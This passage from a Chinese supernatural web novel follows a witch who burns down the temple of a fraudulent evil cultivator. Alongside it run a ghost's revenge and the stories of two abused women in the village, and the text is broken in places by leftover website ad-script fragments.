那张太师椅的椅背后方两米,墙上开了一扇小门,垂着绣花门帘。布料蒙着一层油垢,看不出原本颜色,帘底的流苏穗子都已经因脏污而凝结粘连。 “想必你们家难事的根源,是出在这姑娘身上咯?”黄德寿端起桌上的盖碗茶,慢悠悠撇着茶沫。 “是啊!她这肚子里怕不是揣了个祸害,还没长胳膊腿儿呢,就先妨得我们全家上下不得安生,黄先生您可一定得帮帮我们呐!” 许老太太越说越激动,不小心岔了气,顿时咳得那叫一个惊天动地。 按照以往,许晓芊会赶紧上前给奶奶拍背顺气,然后再被她戳着额头骂上几句,大致内容无非就是“只会碍事、败家没用、偷懒耍滑”之类的。 所以,今天许晓芊选择拎着竹篮站在一边,低头数地砖,假装自己不存在。可突然间,眼前却冒出了一张鼹鼠脸—— 黄德寿不知什么时候走到她旁边。 “不敢不敢,还是得请老祖来显神通。”这个庙祝笑起来不怎么像人,眼角的鱼尾纹一层叠一层,仿佛能夹死好几只苍蝇。 “归根到底,黄某也就是个传声筒而已,哈哈。” 许晓芊整个人紧张得不行,几乎是强忍着把竹篮砸到他脸上的冲动。黄德寿却乐呵呵地抓起她的手,许晓芊一眼就看到他的尾指,三厘米长的指甲凝着一层浊褐色,简直令人作呕。 “从姑娘的手相来看,倒也是个旺夫益子的好命格。这样吧,黄某再向老祖请一道固本宁神的符头,回去化水服下即可。” 话说完,黄德寿还笑眯眯捏了捏她的手掌,然后才意犹未尽地松开。 许晓芊低着头,将手藏在身后,不停往衣服上擦,却怎么也蹭不掉那种恶心的感觉。 旺的是夫,益的是子,那她自己呢? 这种“好”命格,只有傻子才会想要吧。 … 许家祖孙俩求得三道平安符外加一道安胎符,捐过功德后也走了。 黄德寿单手拈着一杆旱烟,美滋滋打开功德箱,开始清点今天上午所收的“功德”。 他一张一张数着木箱里的红钞,忽然开口道:“怎么样?我早就说了,你兄弟招惹的这一家子远房亲戚很容易摆平的,你真没必要天天往我这儿跑。” 门帘被掀起又落下,不速之客绕到了黄德寿的对面,毫不客气地坐下了。 “你算得很准,但漏掉了一件非常重要的事。”掀帘而出的那人长着一双三角眼,眼尾和嘴角均是斜斜向下,酷似一只螳螂,十分不讨喜的面相。 “胡锐锋现在被人打得肋骨都断了,他要怎么去灭许家满门?” 黄德寿叼着铜烟嘴“嘿嘿”一笑,咧出满口豁牙:“他不行,这不是还有你么?” “你要让我去杀许家人?”卢炯烽眯起了眼睛,表情一下子变得更加阴狠起来。 “怕什么呢?”黄德寿慢条斯理地撤开烟杆,拿烟锅轻轻敲了敲桌角,好让烟丝烧得均匀些。 “你俩长得跟照镜子似的,连安全署的人都分不清谁是谁,只要稍微动动手脚,我保证你那双生兄弟很快就能名正言顺地进号子。” 卢炯烽“呵”地一声冷笑,显然不信他这种鬼话。 “胡锐锋区区一条烂命,不值得我再冒那么大的险。黄半仙如此神通广大,肯定有更好的办法。” “好办法——自然是有的。”被他绵里藏针地暗刺了两句,中年人终于忍不住皱起了微微花白的眉头,“可你怎么着,总不能让我做亏本买卖吧?” “老黄,咱们上次可都说好了,拿我二十年寿数来换胡锐锋当一辈子的阴沟老鼠。如今你已经年轻了二十岁,他却只挨了顿打,躺两个月不就好得七七八八了?要说亏本,那我岂不是亏成个冤大头。” 黄德寿咂巴了两下,总觉得今天这口“虎皮皱”的烟丝太硬,味道呛得很。 没办法,都点上火了,将就着吃吧。 “也罢,我手里倒是还收了一件稀罕玩意儿。”他拉开抽屉,从里面掏了老半天才拿出一个旧得脱漆的小盒子。 卢炯烽坐得四平八稳,也不搭腔,就那么直勾勾盯着他。黄德寿脸上挂着讪笑,将小盒往桌上磕了两下,立即有小股黑雾从中逸散出来—— 眨眼间,原本一寸见方的小盒子已鼓胀成半尺高,表面像是裹了层血色皮革,却又有八个树瘤般大小不一的密集凸起。 “这里边装的是朵‘白骨灵芝’,想办法给你兄弟喂点碎片。刚开始呢包治百病,吃了身强力壮,等第二天时候一到,别说是灭许家满门了,就算让他把你们家那老两口剁碎了喂狗,他都会乖乖听话照办。” “吃了这东西,会迷失神智?” “不会完全迷失,就是那个瘾一上来啊,要么往死里痒,要么往死里痛,连骨头缝里都跟进了蚂蚁似的。非得再吃一口,才不会难受到扒了自己的皮。” “看来,黄半仙亲身试过啊。”卢炯烽饶有兴致地伸手,接过那古怪匣子,“可听你这么一说,我倒有点想看看,胡锐锋会不会真的把他自己的皮给扒下来。” “还真是‘兄友弟恭’,令堂令慈能养出你俩这一对好大儿,竟不知是几辈子修来的福气。” 黄德寿咧着嘴要笑不笑,从抽屉里又摸出把漆黑的小刀,指了指匣子上最大的一颗“树瘤”。 “自己割点血,抹到‘帝宝椟’嘴里。这几天它就听你使唤了,免得你兄弟一时上头了跟你硬抢‘白骨灵芝’。” 卢炯烽接过刀,顺手就往掌心一剌,眼皮都没颤动分毫。 “帝宝椟”立即又有了异动。 那颗最大的“树瘤”从顶端缓缓开裂,口腔里面长满了一圈又一圈的细密锯齿。 “预祝咱们这回心想事成,旗开得胜。”卢炯烽面带微笑,没有半点犹豫就把自己伤口摁到了“帝宝椟”的嘴上。 “那是自然,我还等着拘你那小嫂子一家子的魂魄来作法起阵呢。”黄德寿说话的同时又抽了口旱烟,神情很平常,斜睨着那只“帝宝椟”的眼神分明冷得刺骨。 “这事儿要是成了,你兄弟就不只是阴沟里的老鼠,哪怕死了,他也永世不得超生。” 外面倏地传来“叩叩叩”的急促敲门声。 两人同时看向本就向内敞开的两扇大门。卢炯烽什么也没看到,黄德寿的脸色却阴沉了几分:“外面那玩意儿不是寻常的孤魂野鬼,你赶紧走,别留在这里碍手碍脚。” 前者很识相地没有多问,收起“帝宝椟”,直 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 接钻回绣花帘后面。 门后青光一闪,又恢复成整片黑暗。 黄德寿忽然像羊癫疯发作一样,两眼翻白,整个人剧烈抽搐起来,滚滚黑气从他七窍中不断散出,全部飘入神台上的红布后面。 到最后,只剩一具完整而干瘪的人皮壳子留在那张太师椅上。 “哎,说起来倒也快一百年没有玩过怨气这么强的小蹄子了。今日自己送上门来,正好让本座松快松快!” … 眼下的情况很不妙。 ——至少郑颢就是这么认为的。 许家祖孙下山后,笔仙就彻底成了脱缰的野马,隐形毛毛虫车迫不得已,只能再将她吐出去。 “不好!笔仙已经开始‘哐哐’猛砸结界了!女巫大人您想出什么办法了吗?” 知了猴沉浸在新一轮惊恐之中,完全忘了自己正在被毛毛虫车缓慢消化的事实。 但不知怎么回事,女巫的精神状态看起来也有点不太对劲——都这种时候了,她居然还在嘀咕着一些有的没的:“这座山怎么不跟着改个名叫‘德寿山’呢?” 岑小哉抱着手臂跷着脚,坐在她的“魔法扫帚”上,放任理智尽失的笔仙一下又一下不断冲击“彩衣庙”外面的这层结界。 郑颢一边保持惊恐,一边听得满头雾水:“啊?” “‘彩衣庙’现在的庙祝黄德寿,原名叫黄丹庚,是一名闽山派的邪修。他用三百多年的时间不断坑蒙拐骗,把自己伪造成了所谓的神仙:‘彩衣老祖’。” 身为一介凡人,郑颢的内心涌现出无限乱码:他上一秒明明还在笔仙索命的都市怪谈之中,怎么下一秒就进入了邪修作祟的玄幻修真故事? “那,那这座‘丹庚山’又是怎么回事?” “三百多年前他自个儿堆出来的呗。” 女巫耸了耸肩,语气像在谈论一只屎壳郎是如何努力制作粪球的。 “呃,这位邪修……坑蒙拐骗的成本,还挺高。”知了猴忍不住挠了挠头。 明明已经辞职不当程序猿了,怎么感觉脱发危机好像更严重了呢? 随后,郑颢充满担忧地看向持续发疯中的女鬼:“但是笔仙这样一直撞个不停,也不太好吧?” “假如,你看到有人溺水了,会立刻就跳下去救她吗?”女巫反问道。 作为一个成年知了猴,这种基本常识他还是知道的。 拯救溺水者,首先要耗光她的力气,最好是等人陷入昏迷了再上手,这样才不会因为对方的拼命挣扎而功败垂成。 “完全被怨念控制的冯筱迁现在跟一个溺水之人没什么区别,所以必须先消耗她的能量。当然,也得随时注意,别一不小心真让她把自己撞得魂飞魄散了。” 知了猴似懂非懂地点了点头。 “目前没你什么事了,也就是说,你甚至可以先睡一觉。” “我?睡觉?”郑颢简直不可思议,同时隐约又有了一种不祥的预感,“那女巫大人,您是打算做什么呢?” 女巫直视着前方这座简陋至极的“彩衣庙”,开始摩拳擦掌。 “打庙祝!砸神台!抢功德!还有最最重要的一件事。” “什么?”知了猴一脸呆滞。 “烧它牡的妖窟野庙!” 21. 我命由我 半小时前,一个微微佝偻的身影走出彩衣庙大门,步伐沉重地下了山。 刘桂落长年在服装厂劳累工作,脊椎早已被生活的无形重担压得变形,头上也冒出了一绺又一绺的白发。 她们一家四口至今还住在山下荒凉的刘厝村里,没钱搬去城中。 因为这个家就只靠她的双手双脚,艰难地将两个孩子拉扯长大。更艰难的是,几乎每隔三五天就要收拾一回被丈夫刘和生砸得满地稀烂的屋子。 刘桂落无计可施,为求安稳度日,只能将自己积攒了三百六十个昼夜的血汗钱,全部投进彩衣庙那个鲜红色的功德箱。 “彩衣老祖保佑!愿老祖能够明白我的一片苦心,保佑我家宅安宁,让孩他爸别再喝酒打人了。” 她跪在神台前,虔诚至极,拜了又拜,额头都磕得红肿起来。 当时,“彩衣老祖”就笑眯眯站在旁边,自然是能听到刘大姐的一片苦心。只不过,它可没打算真的保佑她家宅安宁。 常言道,心诚则灵。 要是她那丈夫不喝酒也不打人了,刘大姐的心不苦,又怎么会“诚”呢? “彩衣老祖”在人间呆了将近四百个年头,自认修炼出了一副众生平等的慈悲心肠。 它非常平等地视众生如草芥,野火烧不尽,春风吹又生—— 是生是灭,皆有定数。 像刘大姐这样所遇非人的,那也没办法,只能怪她自己命不好。 乖乖认命就是了,整天不知在痴心妄想什么。旧唐时的穷苦妇女能有几个不挨打挨骂,更别提出门抛头露面去读书赚钱,那更是做梦都不敢想的事情。 怎么如今这些头发长见识短的妇道人家,一个个都开始对大老爷们指手画脚? 简直是要反了天呐! 黄德寿抽着旱烟,心道:“这人间啊,真是越来越不像话了。” 当然,此刻它也并未料到,就在自个儿的老巢之外,有人正摩拳擦掌,准备送它一份绝无仅有的“见面礼”。 … 刘桂落拖着沉重步伐走回村里,她拿出钥匙,正准备打开自家大门。 越过院墙抬头一看,她当即尖叫出声—— 院中那棵大枣树上吊着个女人,手脚无力垂下,穿了件洗得发白的绛红色棉袄。 风轻轻一吹,死者晃晃荡荡转过头来。 是她自己的脸。 半边脸都是淤青,眼睛肿得睁不开,此刻却也不能完全闭合。 “看到了吗?这就是你以后的结局:在家里上吊自杀,还死不瞑目。” “很恐怖,也很奇怪,对吧?之前的十几二十年那么苦,你都熬过来了,怎么最后还会走上这条绝路呢?很简单,答案就挂在你家的墙上。” 刘桂落浑浑噩噩地看过去。 窗户是敞开的,她看到屋里的墙壁上挂着两张遗照。 左边是她十二岁的大儿子刘佑康,右边则是九岁的小女儿刘佑慧。 “对,就是你十月怀胎辛辛苦苦生下来的两个宝贝孩子,放学回家时走到村口坡道那儿,被醉驾的刘和生撞了个正着。” “佑慧当场就殁了,佑康在路上硬生生爬了十几米才断气。你那个醉醺醺的丈夫还不知道,就这么开着那辆车头都凹进去的小货车回了家,然后倒头大睡。” 那一瞬间,刘桂落只觉得整个天都塌了。 她跟刘和生从小就认识,二十岁嫁给他时,他家里穷得只剩一间四处漏风的破屋。 刘桂落省吃俭用,吃了半辈子苦,活着的盼头就这一双儿女:从刚生下来抱在怀里,像小猫儿一样呜呜哭,慢慢养到能够大笑着跑过来,抱住自己喊“妈妈”。 乖巧懂事的佑康,每天都会早早做完功课,煮一碗桂圆红枣甜汤等着自己晚上加完班回家。活泼可爱的佑慧,从幼儿园到小学二年级,每个老师都夸奖她是全班最聪明的小孩。 可这么好的两个孩子,却再也长不大了。 “刘桂落,求人不如求己。” “‘彩衣老祖’根本不会帮你,像刘和生这样一文不值二竖为灾三.反.四覆五马六猴的绝世废物,留他在家里也只会害死你的孩子们,最后把你气到上吊自杀,倒不如打个半死再赶出去算了。” 钥匙紧攥在手掌里面,几乎嵌到皮肉中,刘桂落那颗麻木的心终于感觉到疼痛。 这种痛意其实微不足道。 比不过刘和生喝醉之后的拳脚相加。 更比不过,她看到那两张遗照时的剜心之痛。 “是啊,我劝过刘和生很多次,别再赌了,也不要天天喝酒。就算他不去干活赚钱,能够平平淡淡过日子,我也认了。” “可他不听,还总是打我。佑康和佑慧要是拦着他,他就连两个孩儿也一起打。” 刘桂落越说越咬牙切齿,想到孩子们无辜枉死的惨状,她简直恨不得把那个烂酒鬼的皮给活活剐下来。 “这猪狗不如的东西,留着没啥用,以后还会害了我的孩儿。” 她打开了门锁,轰然推开大门,迈着虎虎生风的步伐走向屋内。进去之前,还顺手从墙边捡起一根棒槌。 “刘和生,彩衣老祖治不了你,那就我自己来治你!” 屋里随即响起一阵杀猪般的惨叫。 十分钟后,刘和生被打得头破血流,连滚带爬跑到了村口。 他捂着脑袋在坡道上站了一会儿,把手里的血往衣服上抹了抹,忽然又深一脚浅一脚,东倒西歪地往山上走去。 “呸,什么狗屁彩衣老祖!这没脑子的女人整天烧香拜神,没病都给拜出病来了!真是个疯婆子!” “都怪山上那个老不死的,尽搞一些五迷三道的害人东西,老子今天就去砸了你这破庙!” … 作为人类无法理解的高维科学,《魔法心理学概论》中声称,有一种便捷式催眠的前提条件是:使催眠对象受到巨大惊吓与刺激,以便由潜意识接管其躯体。 这一天,女巫玛菲终于亲自验证了该论点的可行性——她成功催眠了一位中年妇女,并促使其回家后将宿醉未醒的丈夫暴揍一顿,赶出家门。 在此之前,女巫还顺便将乘坐公交车回家的许晓芊拉入了梦境,让她也目睹了这一切。 “刘大姐直到现在才将这种垃圾扫地出门,不会太迟了吗?”虽然女孩儿年纪不大,看待世间事物却有着一种与生俱来的悲观。 “当然不会。” 头戴尖顶帽的粉发女巫悄然现身,背后是漆黑夜幕,一轮巨大的圆月正缓慢升起,几乎占据了半边天空。 她坐在一把不知为何闪闪发光的“魔法扫帚”上面,那双赤金竖瞳直勾勾地盯着许晓芊,神情非常笃定。 “只要你不再被过去牵绊住脚步,任何时候开始改变都不算迟。” 显然,这一句是意有所指。 许晓芊恍然觉得,自己心里头有什么东西正呼之欲出。 过去。 她的过去是什么? 卤煮店,学校,还有那栋噩梦般的烂尾楼。 杳无音讯的妹妹。 三张平安符和一张安胎符。 许晓芊不用问都知道,三张平安符是奶奶求给爷爷、爸爸和弟弟的。 只有那张安胎符,自己得把它烧成灰化进水里喝下去,驱散所谓的“邪祟”。然后再过一两个月,她就必须大着肚子嫁给那个侵犯了自己的远房表哥。 这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 时,许晓芊忽然想起了那一日神兵天降般的戴玉粒。 “刘大姐选择改变,是为了保护自己的孩子们。我没有她那么伟大,也没那么勇敢,我只想……保护好自己。” “既然如此,那你又为什么会想要替戴玉粒顶罪呢?”女巫循循善诱地问道。 女孩微微一愣。 她从来没有想过这个问题。 胡锐锋当时可是被打断了肋骨,活生生地痛晕过去。那么重的伤势,其实就算她替戴玉粒顶罪,也很难瞒骗过去,不管怎么说都是一件非常冒险的事情。 仔细回想起来,那天事发突然,也根本就来不及考虑任何后果。 许晓芊轻则被大人们责骂,或者打一顿,重则会被送进安全署关起来。但无论是哪种后果,对于她的生活来说,都是雪上加霜。 “因为,她救了我啊。” 一直以来,许晓芊都仿佛被困在十岁那年,也就是失去妹妹晓茉的那天。 命运对她吝于给予,却总是狠心夺走她原本就很少拥有的一切。直到戴玉粒的出现,许晓芊才明白,原来一个女孩儿的人生,并非只有“逆来顺受”这种方式。 女巫看着她,忽然露出一抹奇异的微笑。 “许晓芊,其实你远比你自己想象中要勇敢得多。或许,还可以更加勇敢一些。” “什么?” 许晓芊有点不敢相信:自己明明胆小又懦弱,看起来无所不能的女巫却认为,她是一个勇敢的人? 她下意识想要摇头,再次看见那顶猩红色的尖顶帽时,又倏地顿住。 它看似安分地呆在女巫头上,却悄悄朝她摇了摇尾端的小毛球。 而女巫凌乱的粉色长发里面,无数金色光斑正在时隐时现,与夜空中的点点繁星遥相呼应。 它们仿佛对着许晓芊无声呐喊:相信她吧,听从你内心的想法,哪怕就这一次! “无论任何时候,都不应该急着否定自己。”女巫伸出手,一颗星星忽然从天上掉下来,无比乖巧地落在她的掌心。 那颗小星星不停自转,五彩光晕层层叠叠,比一场美梦更加迷离。 “天上的每粒星辉,看起来都如此微弱。可实际上,它们跟太阳一样,内部核聚变每秒能产生三百八十六亿亿亿焦耳的能量,相当于每秒燃爆十八亿颗大伊万氢.弹。” “所以,一个人的强大与弱小,不止取决于体魄,更在于她的内心。” … 从伍港区北郊返回城中心的公交车上,一个瘦小女孩在座位上醒来。 许晓芊低着头,安静思考了一会儿。 她那两道秀气的柳叶眉微微舒展,丹凤眼中目光清明,脸上也渐渐泛起笑意。 许老太太这时正好扭头看过来,几乎就在同时,她不可思议地瞪大了眼睛—— 许晓芊拿出那张安胎符,就在她奶奶的眼皮子底下,三下五除二地给撕成了碎片,随手往车窗外一撒。 同时,丹庚山上的彩衣庙大门前,原本还在发疯般冲击结界的笔仙蓦地顿住,再抬起头时,她已现身于颠簸前行的公交车窗外。 一人一鬼,彼此对望,恰好是阴阳相隔。 许晓芊没有说话,但笔仙却能感知她的所思所想。 我来帮你吧。 让那些罪有应得的人…… 血债血偿! 黄色符纸如秋天落叶般扬扬洒洒,瞬间飘散得无影无踪。 “啊!你个——”许老太太的一声尖叫噎在了喉中。 因为她那个不怎么宝贝的孙女“唰”地把车窗开得更大,两手扒着窗框,整个人就这么毫无预兆地纵身跳了出去! 然后,像符纸碎片一样消失在风中。 22. 放火烧山 一个长发白裙的身影走进了庙门。 “咦,怎么是这丫头?”隐匿在神台红布后面的“彩衣老祖”顿时觉得有点索然无味,“一只蝼蚁,根本就不够本座塞牙缝的,反倒会徒增因果,实在是不划算呐。” 女孩却在神台前停住脚步,低着头,一句话也不说。 “我那壳子还留在椅上呢,倒有些不方便了。”思来想去,“彩衣老祖”决定先吓唬吓唬这古怪丫头,尽快把她打发走。 神台上的层层彩幔微微晃动,空无一人的屋子里,忽然就响起了清脆梆子声。 “许——晓——芊——” “你还——在此——作甚?速速——回家去!” 女孩却笑了两声,慢悠悠走近神台,伸手端起了摆在左侧桌角的一盏花灯。 她调了调灯芯,灯盏上那簇小小火苗骤然跃起,光影杂驳,女孩的面容看起来也有些扭曲:“我心里有个问题,想请老祖解答一下。” 脱离了人形,“彩衣老祖”似乎也有点脑子不大灵光了,当下竟还顺着她的话问道:“你有——何惑——” “我想知道,”那女孩仰头举起灯盏,照出自己脸上一双血色翻涌的眼眸,“我是怎么死的?” 一股阴风呼啸而起。 神台红布后倏地响起一声惨叫:“可恶!好个贱婢,竟附在凡人身上来暗算本座!” “你助纣为虐,死不足惜!”现身于半空中的笔仙冷笑,“许晓芊,烧了它的躯壳。” 许晓芊立即举着手里的灯火,往花梨木桌后面跑去。 “大胆!还不住手!本座定叫你们求生不得,求死不能!” 红布后面涌出大团黑雾,正要扑向那女孩,却又被笔仙身上散出的阴寒怨气牢牢挡住,一时间横冲直撞,倒把自个儿神台上的供品搞得乱七八糟。 就在“彩衣老祖”跟这一人一鬼斗得不可开交的时候,门外忽然又传来某个醉汉的叫骂声:“……老不死的!整天装神弄鬼,我砸了你这破庙!” 毕竟有句话叫做“金窝银窝,不如自家的狗窝”,“彩衣老祖”在此盘踞了几百年,或多或少也对自己这座小庙有点感情,现下腹背受敌,实在是气不打一处来。 黑雾汹涌盘旋,蓦地发出群虫齐鸣般的嗡嗡怪声——墙上的门帘里头爆闪一道青光,将那女孩连同女鬼一并卷了进去。 … 刘和生在半路上摔了两个跟头,又撞了三回树之后,终于走到了彩衣庙的门口。 他大老远看见屋顶上升起一大团黑雾,嘴里还稀里糊涂地嘟囔着:“要下雨了?那我得赶紧过去……总,总之先把这口恶气给出了!” 只是不知为何,当刘和生走到门口,却发现那团黑雾消失得无影无踪。 彩衣庙的庙祝黄德寿匆匆忙忙从里面走出来,面目有点扭曲,像是愤怒到极点又得努力挤出个笑容:“今儿可稀罕,是什么风把刘大哥给吹来了?” 刘和生一见到他,立刻想起了刚才在家里被那疯婆子用棒槌打得抱头鼠窜的痛苦经过,一腔怒火在酒精的作用下顿时烧昏了头脑:“去你个王八蛋!整天忽悠我老婆,好好一个人变得疯疯癫癫,老子今天就非得砸了你这破庙不可!” 黄德寿脸上勉强挤出来的笑意“唰”地就没了。见刘和生醉成这副德行,他皱起眉头,正打算把人往山脚下丢,不料刚才那女鬼散发出来的强烈怨气,隐隐又从门帘后冒了出来。 “哪里来的……噗!”一不留神,刚想回头一看究竟的黄德寿就挨了刘和生一拳,才披上没多久的人皮壳子都差点被打出裂缝来。 更可恶的是,他当初设在门上的禁制并不会阻拦凡人,那醉鬼居然就这么冲进了庙里,抡起椅子开始对着神台噼里啪啦一通乱砸。 “什么狗屁彩衣老祖!我把你这破庙砸个稀巴烂,看你以后还敢不敢瞎忽悠人!” 刘和生往日里在家也是这么发酒疯的,见人打人,有啥砸啥,这会子他疯得正上头,刚抱起功德箱准备摔,才后知后觉,咂摸出一丝不对劲来。 “咦,这天咋又黑了?” 他晕乎乎地转过头。 “区区蝼蚁——竟敢损我神威?” 漆黑的雾气已然遮天蔽日。 黄德寿整个人悬在庭院的半空中,手脚都软趴趴垂下,身体逐渐干瘪,大股黑雾正从他脸上源源不断地涌出来。 “妈呀!妖怪啊!” 刘和生大叫一声,终于彻底清醒了。 他急着往外逃,却忘了自己还抱着那个功德箱,结果一转身就撞倒了院中的香纸炉。 “嘭”地一声,纸灰余烬和还没烧完的香纸全部撒出来,如一大群黑黄两色混杂的蝴蝶,在院子里四散飞舞。 “妖怪!有妖怪,救命啊!”刘和生随手把功德箱丢下,嗷嗷叫着直往门外窜,一溜烟跑了。 那团黑雾本来打算追上去,还没冲出庭院,不知为什么却立即折返,“咻”一声遁入了墙上的门帘后面。 … 【严格来说,这是一种违规行为。】 梦境中那轮巨大的圆月随着女孩儿一同消失,而某本魔法书的夹子音也忽然响起,是前所未有的尖锐。 【您居然在人类世界使用了心灵层面的魔法!如此肆意妄为,势必会引起噩梦之主的报复!】 可惜它“尊敬的主人”根本不按常理出牌,因此对它所声称的“违规行为”也并没有很在乎。 “噢,是吗?那又如何呢?”岑小哉依然单手托住那颗小星星,另一只手撑着下巴,眼神里充斥着“世界为何如此无聊”,甚至还懒洋洋地打了个哈欠。 “它要怎么报复我?把我架在火堆上烧死,还是丢进水里淹死?又或者,鼓动一大群人一起丢石头把我砸死?” 【不,对于您这样的永生族裔而言,死亡是一种恩赐。噩梦之主不会使用如此仁慈的手段,祂们所钟情的刑罚将会使您陷入有生以来最厌恶的境地。】 女巫什么也没说。 她盯着手中悬浮的星星,那双赤金竖瞳蓦地紧缩。 犹如毒蛇捕杀猎物般,女巫猛然低头张口,吞掉了那颗小星星。 “魔——” 一声微弱至极的尖叫,从黑暗深处缓缓飘出来,尾音变得模糊不清,因此也无人在意这个小细节。 实际上,魔法书也在尖叫,甚至可以称之为惨叫。 【啊!你就这么吃掉了它?刚刚是谁对凡人女孩循循善诱,说什么“一个人的强大与弱小,不止取决于体魄,更在于她的内心”?】 “只是一个具有象征意义的小道具而已,吃了又能怎样。” 岑小哉嘴里咬着一团璀璨星火,瞳光煌煌,看起来绝非善类:“不过,有没有一种可能,我所做的一切,就是为了彻底激怒噩梦之主。 魔法书沉默了很久,最终只憋出一句:【恕我直言,你根本就是在胡闹!】 “副本中的主线任务是‘为噩梦受害者进行心理疏导’,只要能让噩梦之主不高兴,那受害者不就高兴了嘛。” 【 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ……】 魔法书封面上的流光忽然停滞不动,几秒后,它默默消失了。 “嗯呒,味道居然还挺不错的。”女巫很快嚼碎了那团星光,鼓起腮帮子,猛地一吹。 无数光粒逸散到空中,如火焰烧穿窗户纸,梦境的漆黑屏障被灼出许多破洞,将现实中的天光引渡进来。 正所谓“螳螂捕蝉,黄雀在后”。 作为一只姗姗来迟的黄雀,刚好在“彩衣老祖”遁入老巢之后,岑小哉就从它那座小庙上方的虚空中悄然现身。 她坐在“魔法扫帚”上,面带微笑,轻轻一弹指—— 院中无数张带着火焰的金黄色香纸瞬间被狂风裹挟着,全部调转了方向,哗啦啦冲进了彩衣庙的正殿里边。 那些飘飘摇摇的长绸布长年累月沾满了油烟,稍微蹭到几点火光,立即暴燃起来。 烈焰以近乎恐怖的速度吞没了整座彩衣庙,并开始在丹庚山上漫延。 “啧,居然把整座山都给蛀空了,果然是只害虫。” 虚与实的半明半暗之间,光影流转,映衬得女巫脸上的笑容更加冷酷—— 至少在郑颢不太清醒的意识中,他就是如此认为的。 梦境很快完全消融了,剥落出现实里漫山遍野的浓烟与烈火。 天空被映得有些昏黄,灰烬漫天飞舞,滚滚热气几乎要将云层都给蒸发了,原本还算齐整的彩衣庙,此刻塌得只剩火光中的半边废墟。 知了猴打了个激灵,终于彻底清醒。 “我去!这么大的火,女巫大人您行行好,可千万别把我放下去啊!” 他晃晃荡荡悬在空中,吓得魂都差点散了,忍不住倒吸了半口气,整个人立即疯狂咳嗽,呛得涕泪横流。 “这,怎么回事?我才睡了还不到半天时间,丹庚山咋就烧成这样了?该不会真是……您放的火吧?” “那当然不是。或许,这就叫‘自作孽,不可活’。”岑小哉坐在“魔法扫帚”上悠悠往下飘,靴底碰到火焰时却如有实质。 “魔法扫帚”骤然消失。 女巫如履平地,一步一步踏着火浪而行。 “你是何方妖魔!”废墟底下蓦地传来一阵嗡嗡的怪异响声,但仔细去听,又变成了很清晰的人言,似乎是个暴跳如雷的中年男人。 “本座好端端的在这里普度众生,你凭什么来铲我的山头?” “呵,整座山的活物都快被你吃光了,连草木的灵气也要抽干,好不容易修出个人形,居然只会招摇撞骗,对普通凡人下手。三四百年来就这么蝇营狗苟,还敢说自己是在‘普度众生’?” 那个藏在废墟里的东西冷哼了一声,竟还是理直气壮:“本座为求大道,汲汲经营,又有何错?即便是有错,又与你这妖魔何干?” “既为邪祟,自然人人得以诛之。千年之前的闽山派亦曾与我匡山派齐名,怎么会冒出你这虫豸,实在让人想不通。” “你胡说!什么闽山匡山,休得在此胡言乱语!”被道破出身之后,那东西终于急眼了。 “又或者,你根本就不是闽山派的入门弟子,只是个偷学了一点皮毛的小喽啰而已。” 岑小哉咧嘴一笑,足下的烈火晃了晃,骤然升高,从她背后冒出来,自下往上形成了一张宝座。 她很闲适地坐了下去,双臂展开,靠在火焰构成的宽广椅背上,极其嚣张而睥睨的一个姿态。 “但不管怎么说,你这家伙不修正道,又不肯去死,我是真的很为难呢。” 23. 七煞禁术 “哇呀呀呀!休得胡言乱语!” 张牙舞爪的黑雾从地下窜出来。 然而窜到一半,却又倏地刹住,在废墟上方紧紧缩成一小团。 “焚天之火……是你!怎会如此?你绝不可能自己逃出来的!” “哧,支吾什么呢?我又不吃你,别指望用这招来拖延时间。”岑小哉自上而下,冷冷觑着它,像是在看一堆垃圾。 事实上,她并不知道“焚天之火”又是什么玩意儿,因此单方面认为,对方肯定把自己当成了别的大人物。 那么狐假虎威一下,也是个不错的玩法。 女巫抬起右手,做了个反掌回旋的手势。 右边的火焰随之旋转腾起,卷成尖角,直直刺向那团黑雾—— “彩衣老祖”不敢再叫嚣什么,仅仅“吐”出了一个昏迷中的白裙少女作为肉盾。 “火下留人!那是许晓芊啊!”郑颢终于无法继续装死,他急得嗓子都喊劈了。 “聒噪。”岑小哉朝他声音来源斜睨了一眼,表情十分不悦。 烈火之矛依然直指猎物。 却在快要触及脆弱的凡人时,“哗”一声散作飘带状,绕开她之后,两头再度合拢,将那团试图向下逃窜的黑雾夹击了个正着。 连许晓芊的半根头发都没燎到。 下一秒,废墟中有青光爆闪,直冲天际。 岑小哉“啪”地打了个响指,漫山遍野的大火在瞬间熄灭。 知了猴小心翼翼地探出头:“他,他是不是死了?” “它牡的,跑了。” 女巫的神色阴沉,一如底下层层叠叠的灰烬。 郑颢一整个呆若木鸡:“啊?您就这么——让他跑了?” “不然呢?它都把人质还回来了,难道以你那能与蟑螂们媲美的智商,就连‘穷寇莫追’这种道理都无法理解是吗?” 显然,女巫的心情非常不美丽。 郑颢很识相地继续装死。 隐形毛毛虫车带着他慢悠悠爬过去,将陷入昏迷的许晓芊接收为新的乘客—— 为了保护好岌岌可危的心理健康,郑颢完全不去思考自己到底是从毛毛虫车的哪个部位把自己的头探了出来。 但从旁观者的角度来看,这实在是极其猎奇的一幕:一个卷毛男青年的头慢悠悠飘向“躺”在半空中的少女,随后少女就在那颗脑袋下面慢悠悠地消失了。 “管它爱跑不跑的,反正不管怎样,咱们都得下去把笔仙找出来。”岑小哉恹恹地打了个哈欠,又抬手揉了揉眼睛。 她的那双赤金竖瞳正在逐渐褪色,比起进入噩梦副本之前要黯淡不少。 假如章鱼管家出现在这里,它应该就能很快察觉,这是女巫玛菲少有的、魔力消耗过度的标志。 “下去?下去哪儿?阴曹地府吗哈哈哈……” 知了猴“哈”到一半,忽然想起那句“不见日月不透风”。 他缓缓闭上了嘴。 女巫没理会这家伙的烂梗,她悬浮在半空中,如一名优美的芭蕾舞者,双手拨向背后,直接朝着地面的那堆废墟俯冲下去。 “等会儿,不是吧?真要下去啊,我还没做好心理准备呢救命……” 他火速闭上了眼。 风声从郑颢的脸上与耳边呼啸而过,顷刻便停止。泥土的潮湿腥气灌入鼻腔,他战战兢兢地睁开眼,入目先是一片漆黑—— 绿荧荧的鬼火倏地窜出来。 